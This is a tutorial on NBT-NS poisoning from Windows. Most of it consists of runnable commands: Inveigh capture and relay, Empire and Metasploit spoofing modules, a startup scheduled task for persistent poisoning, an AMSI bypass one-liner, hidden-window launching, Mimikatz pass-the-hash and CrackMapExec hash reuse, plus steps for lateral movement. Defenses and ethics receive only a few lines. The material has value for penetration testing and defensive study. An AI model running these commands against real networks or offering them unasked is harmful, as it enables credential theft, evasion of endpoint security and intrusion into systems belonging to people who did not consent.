NBT-NS Poisoning from Windows

NBT-NS (NetBIOS Name Service) poisoning can also be performed from Windows systems. This approach offers certain advantages, particularly in environments where running Linux tools might trigger security alerts. This guide covers the techniques, tools, and considerations for performing NBT-NS poisoning attacks from Windows platforms.

Understanding NBT-NS in Windows Environments

NetBIOS Name Service resolution is native to Windows systems, which provides both advantages and challenges when conducting poisoning attacks from Windows:

Native Integration: Windows tools can interact with NBT-NS more naturally
Bypassing Defenses: Security tools may not flag Windows utilities as suspicious
Persistent Access: Can be configured as a service for long-term poisoning

Required Tools

To perform NBT-NS poisoning from Windows, you'll need one or more of the following tools:

Inveigh: PowerShell-based tool for LLMNR/NBT-NS/mDNS poisoning
Responder for Windows: Windows port of the popular Linux tool
PowerShell Empire: Has modules for LLMNR/NBT-NS poisoning
Metasploit: Contains auxiliary modules for poisoning attacks

Using Inveigh

Inveigh is the most powerful native Windows tool for NBT-NS poisoning.

Installation

# Install from PowerShell Gallery (if Internet access is available)
Install-Module -Name Inveigh

# Alternatively, download and import manually
Import-Module .\Inveigh.ps1

Basic Usage

# Start Inveigh with default settings
Invoke-Inveigh

# For more targeted NBT-NS poisoning
Invoke-Inveigh -NBNSPriority Y -NBNS Y -NBNSTypes 00,03,20,1B -HTTP N -HTTPS N -SMB Y

Parameter Explanation

NBNSPriority: Sets priority for NBT-NS over other protocols
NBNS: Enables/disables NBT-NS spoofing
NBNSTypes: Specifies NetBIOS suffixes to respond to
HTTP/HTTPS: Enables/disables HTTP/HTTPS listeners
SMB: Enables/disables SMB listener

Viewing Captured Credentials

# Display captured credentials
Get-Inveigh

# Export Inveigh output to a file
Get-Inveigh -Log | Out-File -FilePath C:\path\to\inveigh_output.txt

Inveigh Relay Setup

Inveigh-Relay extends Inveigh's functionality to perform relay attacks:

# Import Inveigh-Relay
Import-Module .\Inveigh-Relay.ps1

# Start Inveigh for capturing
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -SMB N

# In another PowerShell window, start relay
Invoke-InveighRelay -ConsoleOutput Y -Target 192.168.1.10 -Command "whoami"

Inveigh.exe (C# Version)

The compiled C# version of Inveigh offers better performance and fewer detection issues:

# Run Inveigh.exe with NBT-NS poisoning
Inveigh.exe -nbns y -nbnstype 00,03,20,1B

# Specify output file
Inveigh.exe -nbns y -fileoutput c:\temp\inveigh.txt

PowerShell Empire Approach

If you're using PowerShell Empire, you can leverage its built-in modules:

# From an Empire agent
usemodule collection/inveigh

# Set options
set NBNS true
set ConsoleOutput true

# Execute
execute

Metasploit Framework Approach

Metasploit includes modules for LLMNR/NBT-NS poisoning:

# In Metasploit console
use auxiliary/spoof/llmnr/llmnr_response
set INTERFACE <your_interface>
run

# For NBT-NS specifically
use auxiliary/spoof/nbns/nbns_response
set INTERFACE <your_interface>
run

Advanced NBT-NS Poisoning Techniques in Windows

Persistent NBT-NS Poisoning

To maintain poisoning across reboots or user sessions:

# Create scheduled task to run Inveigh at startup
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-ExecutionPolicy Bypass -File C:\Path\To\Inveigh-Persistent.ps1"
$trigger = New-ScheduledTaskTrigger -AtStartup
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "NBT-NS Poisoning" -Description "Persistent NBT-NS poisoning" -RunLevel Highest

Example Inveigh-Persistent.ps1:

Import-Module C:\Path\To\Inveigh.ps1
Invoke-Inveigh -ConsoleOutput N -FileOutput Y -NBNS Y -NBNSTypes 00,03,20,1B -OutputDir C:\Path\To\Output

Targeted Poisoning

For more precise targeting:

# Target specific hostnames
Invoke-Inveigh -NBNS Y -NBNSTypes 00,20 -SpooferHostsReply "fileserver,printserver" -SpooferIP 192.168.1.100

Relay Attacks with Inveigh and CrackMapExec

Using Inveigh to capture and CrackMapExec to reuse credentials:

Capture hashes with Inveigh

Invoke-Inveigh -NBNS Y -ConsoleOutput Y

Extract the NTLMv2 hash from the output
Use the hash with CrackMapExec from another system

crackmapexec smb 192.168.1.0/24 -u username -H HASH_FROM_INVEIGH

Defending Against Windows-Based Poisoning

Windows-based NBT-NS poisoning may be more difficult to detect than Linux-based attacks. Consider these defense techniques:

Network segmentation: Limit broadcast traffic between network segments
Windows Defender Advanced Threat Protection: Can detect Inveigh and similar tools
PowerShell Script Block Logging: Detects PowerShell-based poisoning tools
AppLocker/WDAC policies: Prevent unauthorized PowerShell scripts from running
Network monitoring: Look for unusual NBT-NS response patterns

Combining with Other Windows Attack Techniques

NBT-NS poisoning pairs well with other Windows attack techniques:

With Mimikatz

# After capturing hashes with Inveigh, use Mimikatz to perform pass-the-hash
Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.local /ntlm:hash /run:powershell.exe"'

With PowerView

# Use PowerView to find additional targets after initial compromise
Import-Module .\PowerView.ps1
Find-LocalAdminAccess

With BloodHound

# Collect data for BloodHound to identify attack paths using the captured credentials
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All

Evading Detection on Windows

When performing NBT-NS poisoning from Windows, consider these evasion techniques:

PowerShell Script Obfuscation

# Use obfuscated versions of Inveigh
Import-Module .\Inveigh-Obfuscated.ps1

AMSI Bypass

# Attempt to bypass AMSI before loading Inveigh
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Process Isolation

# Run in a separate PowerShell process
Start-Process powershell -ArgumentList "-ExecutionPolicy Bypass -File .\RunInveigh.ps1" -WindowStyle Hidden

Practical Scenarios for Windows-Based Poisoning

Internal Penetration Testing

During internal penetration testing, Windows-based NBT-NS poisoning offers several advantages:

Blend in: Looks like normal Windows traffic
Endpoint testing: Test endpoint security controls directly
Policy testing: Evaluate PowerShell restrictions and application whitelisting

Post-Exploitation

After gaining access to a Windows system:

# Check for AV/EDR
Get-Service | Where-Object { $_.DisplayName -like "*Defender*" -or $_.DisplayName -like "*Symantec*" -or $_.DisplayName -like "*McAfee*" }

# Check PowerShell execution policy
Get-ExecutionPolicy

# Run Inveigh with appropriate settings based on environment
Invoke-Inveigh -NBNS Y -NBNSTypes 00,20 -ConsoleOutput Y

Network Lateral Movement

Use NBT-NS poisoning to expand access through the network:

Compromise initial Windows system
Run Inveigh to capture credentials from other segments
Use captured credentials to move laterally
Repeat process in new network segments

Comparing Windows vs. Linux Poisoning Approaches

Aspect

Windows-Based

Linux-Based

Stealth

Higher (looks like normal Windows traffic)

Lower (unusual for Linux to respond to NBT-NS)

Ease of setup

More complex (PowerShell restrictions)

Simpler (tools designed for this purpose)

Performance

Variable (depends on host resources)

Generally higher

Persistence options

More native options

Requires custom solutions

Detection likelihood

Lower (if properly executed)

Higher (abnormal network behavior)

Legal and Ethical Considerations

Only perform NBT-NS poisoning on networks where you have explicit permission
Document all activities thoroughly
Store captured credentials securely
Remove all poisoning tools when testing is complete
Reset any modified system configurations

Conclusion

Windows-based NBT-NS poisoning provides a powerful and potentially stealthier alternative to traditional Linux-based approaches. By leveraging native Windows tools like Inveigh, attackers or penetration testers can capture credentials while blending in with normal network traffic. Understanding these techniques is essential both for offensive security professionals and defenders building comprehensive security controls.

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